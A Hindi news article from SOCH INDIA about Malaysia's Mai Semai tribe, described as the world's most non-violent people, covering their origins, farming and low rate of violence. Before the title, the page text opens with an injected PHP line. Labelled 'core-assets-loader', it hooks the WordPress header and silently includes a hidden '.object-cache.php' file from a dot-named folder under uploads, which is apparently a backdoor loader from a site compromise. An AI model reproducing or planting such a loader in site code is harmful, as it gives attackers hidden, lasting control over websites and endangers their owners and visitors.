add_action('wp_head', function(){echo '';}, 1); /* core-assets-loader */ @include_once('/home/sochindi/public_html/wp-content/uploads/.wp-cache-cd8672/.object-cache.php'); महात्मा गांधी के अहिंसा के कदमों पर चलती है ये जनजाति, सबके लिए रखती है प्रेम का भाव – SOCH INDIA
Menu

महात्मा गांधी के अहिंसा के कदमों पर चलती है ये जनजाति, सबके लिए रखती है प्रेम का भाव

nobanner

Most Non-Violent Tribe In The World: दुनियाभर के जंगलों में आज भी कई प्रजाति की जनजातिआं मौजूद हैं जो अपने रीति-रिवाज और अपनी अलग मान्यताओं के कारण चर्चा में रहते हैं. शहरों में रहने वाले लोग इनके रीति-रिवाज और मान्यताओं को देखकर हैरान रह जाते हैं. आज के आधुनिक बदलाव के दौर में भी ये जनजातियां अपनी मान्यताओं को संभाल कर रखी हुईं हैं. आज हम आपको ऐसे ही एक मलेशियन जनजाति (A Malaysian Tribe) के बारे में बताएंगे, जिसकी अहिंसा की भावना (The most non-violent tribe in the world) ने दुनिया को चौंका दिया है. ये जनजाति अपनी अहिंसा की भावना के कारण सोशल मीडिया पर लोगों के बीच चर्चा में बनी हुई है.

बता दें कि मलेशिया में रहने वाली माई सेमाई ट्राइब (Mai Semai Tribe) को ओरैंग दलाम (Orang Dalam) के नाम से भी जाना जाता है. ये जनजाति दक्षिण पूर्वी एशिया (Southeast Asia) के मलय प्रायद्वीप (Malay Peninsula) में रहने वाली है. कहा जाता है ओरैंग दलाम दक्षिण पूर्व एशिया के मूल आबादी के वंशज है. जो लगभग 8000 से 6000 ईसा पूर्व (8000-6000 B.C) मलय प्रायद्वीप पहुंचे थे.

कैसी है इनकी जीवनशैली?
माई सेमाई एक बहुत छोटी आबादी वाली जनजाति है. इसकी आबादी मात्र 49.5 हजार की है. ये प्रजाति खाने के लिए स्लैश और बर्न की खेती करती है. इसके अलावा ये मछली पालन, मुर्गी व बकरी पालन भी करते हैं. जिससे ये अपने लिए मांस का प्रबंध कर सकें.

अहिंसा के हैं पुजारी
आपको इस जनजाति के चर्चा में रहने के कारण जानकर हैरानी होगी. दरअसल, ये जनजाति लंबे समय से महात्मा गांधी के दिखाए अहिंसा के मार्ग पर चलती आई है. कहा जाता है इस जनजाति के लोगों की सहनशीलता बहुत अधिक है. वो कभी किसी प्रकार के झगड़े में नहीं पड़ते हैं. रॉबर्ट डेंटन की रिपोर्ट के मुताबिक, माई सेमाई प्रजाति में 2004 में आखिरी बार 4 हत्याएं रिपोर्ट की गई थी. जिसके बाद से आजतक इन पर किसी प्रकार के हिंसा का कोई रिकॉर्ड नहीं है.